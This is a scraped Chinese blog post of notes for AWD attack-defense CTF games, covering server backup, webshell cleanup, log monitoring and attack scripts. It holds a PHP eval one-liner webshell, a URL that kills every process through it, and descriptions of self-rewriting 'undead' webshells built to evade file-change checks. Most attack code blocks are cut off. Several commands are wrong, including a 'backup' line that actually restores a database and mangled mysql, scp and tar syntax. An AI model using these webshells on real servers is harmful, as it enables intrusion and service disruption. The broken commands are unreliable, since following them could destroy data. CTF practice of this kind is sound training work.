AWD的攻防思路和脚本整理
防护
备份
备份好处:
- 别⼈直接把源码给你删了或者删库,可直接备份过去,防⽌down机被扣分
- 快速寻找发现漏洞,或者⽤D盾、360、⽕绒等扫,看看有没预留后⻔
- 当你被种⻢以后,找不到⻢的位置,或者⻢被插⼊某个⽂件,可重新下载⽂件和初始版本进⾏对⽐(beyond compare),看看差别
网站源码
连接ssh( 常⻅⼯具mobaXterm,xtfp,finalshell)
1 |
ssh -p ssh_port username@host_ip |
修改ssh密码
1 |
passwd |
网站源码压缩
1 |
cd /var/www/html |
下载到本地
1 |
scp -P ssh_port ctf@host_ip:/tmp/xxx.tar.gz local_file |
数据库
数据库的账户密码,可在网站配置文件如 config.php 里寻找
数据库登录
1 |
mysql –pdb_user –udb_passwd |
备份指定数据库,
1 |
mysqldump -udb_user -pdb_passwd db_name > /tmp/bak.sql |
备份所有数据库
1 |
mysql -udb_user -pdb_passwd --all-databases< back.sql |
下载到本地
1 |
scp -P ssh_port ctf@host_ip:/tmp/bak.sql local_file |
恢复
网站源码
本地备份上传到靶机,/tmp目录下的文件如果没有被删除,这步就不用
1 |
scp -P local_file ssh_port ctf@host_ip:/tmp/xxx.tar.gz |
源码解压
1 |
tar -zxvf /tmp/xxx.tar.gz /var/www/html/* |
数据库
1 |
数据库登录:mysql -udb_user -pdb_passwd |
WAF
一些WAF工具
https://github.com/dycsy/awd-watchbird
https://github.com/edwardchoijc/ctf-toolkit/tree/master/Linux/WAF
https://github.com/DasSecurity-Labs/AoiAWD
文件监控
寻找最近20分钟修改的文件
1 |
find /var/www/html -name *.php -mmin -20 |
杀不死马
-
建立一个和不死马一样名字的文件夹,这样不死马就写不进去了。完全杀死不死马,得清理内存。
1
rm -rf .2.php | mkdir .2.php
-
杀进程得在root或者www-data权限下。如上传一句话,然后执行 system(‘kill -9 -1’); 杀死所有进程,再手动删除木马
1
2shell.php: <?php @eval($_GET['9415']); ?>
url访问:shell.php?9415=system('kill -9 -1'); -
用一个脚本竞争写入,脚本同不死马,usleep要低于对方不死马设置的值.
top 查看占用率最高的cpu进程
q 退出
M 根据驻留内存大小进行排序
P 根据CPU使用百分比大小进行排序1
2
3
4
5
6
7<?php
while (1) {
$pid = 不死⻢的进程PID;
@unlink("c.php");
exec("kill -9 $pid");
usleep(1000);
}?> -
重启 apache,php 等web服务(一般不会有权限)
流量日志
通过对流量、⽇志的分析,可以:
- 感知可能正在发⽣的攻击,从⽽规避存在的安全⻛险
- 应急响应,还原攻击者的攻击路径,从⽽挽回已经造成的损失
- 某些情况下还能对攻击进⾏重放复现
流量
流量监控日志:
https://github.com/wupco/weblogger
https://github.com/DasSecurity-Labs/AoiAWD
批量包含文件
1 |
|
用法:
1 |
包含:php fileinclude.php --install [web dir] [filename] |
中间件日志
⽐如apache,nginx
查看当前访问量前⼗的链接
1 |
cat /var/log/apache2/access.log |awk '{print $7}'|sort|uniq -c| sort -r|head |
攻击
不死马
普通版
1 |
<?php |
ignore_user_abort(true)
:函数设置与客户机断开是否会终⽌脚本的执⾏。这⾥设置为true则忽略与⽤户的断开,即使与客户机断
开脚本仍会执⾏。set_time_limit()
:函数设置脚本最⼤执⾏时间。这⾥设置为0,即没有时间⽅⾯的限制。unlink(__FILE__)
:删除⽂件本身,以起到隐蔽⾃身的作⽤。while
:循环内每隔 usleep(1000) 即写新的后⻔⽂件
system(): 执⾏的命令⽤于修改⽂件的创建或修改时间,可以绕过“find /var/www/html –name *.php –mmin -10”
命令检测最
近10分钟修改或新创建的PHP⽂件,但不⼀定有⽤,可选。
⽹上流传的不死⻢, while ⾥⾯只是并没有判断了这个⽂件是不是存在 ,
那么我只需要把这个⽂件中的 shell 注释掉就可以绕过你的内存⽊⻢了。
进阶版
1 |
<?php |
批量提交flag
1 |
import json |
批量上传webshell
固定文件名
1 |
import requests |
随机文件名
1 |
import requests |
一句话写文件
FROM :blog.cfyqy.com | Author:cfyqy
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论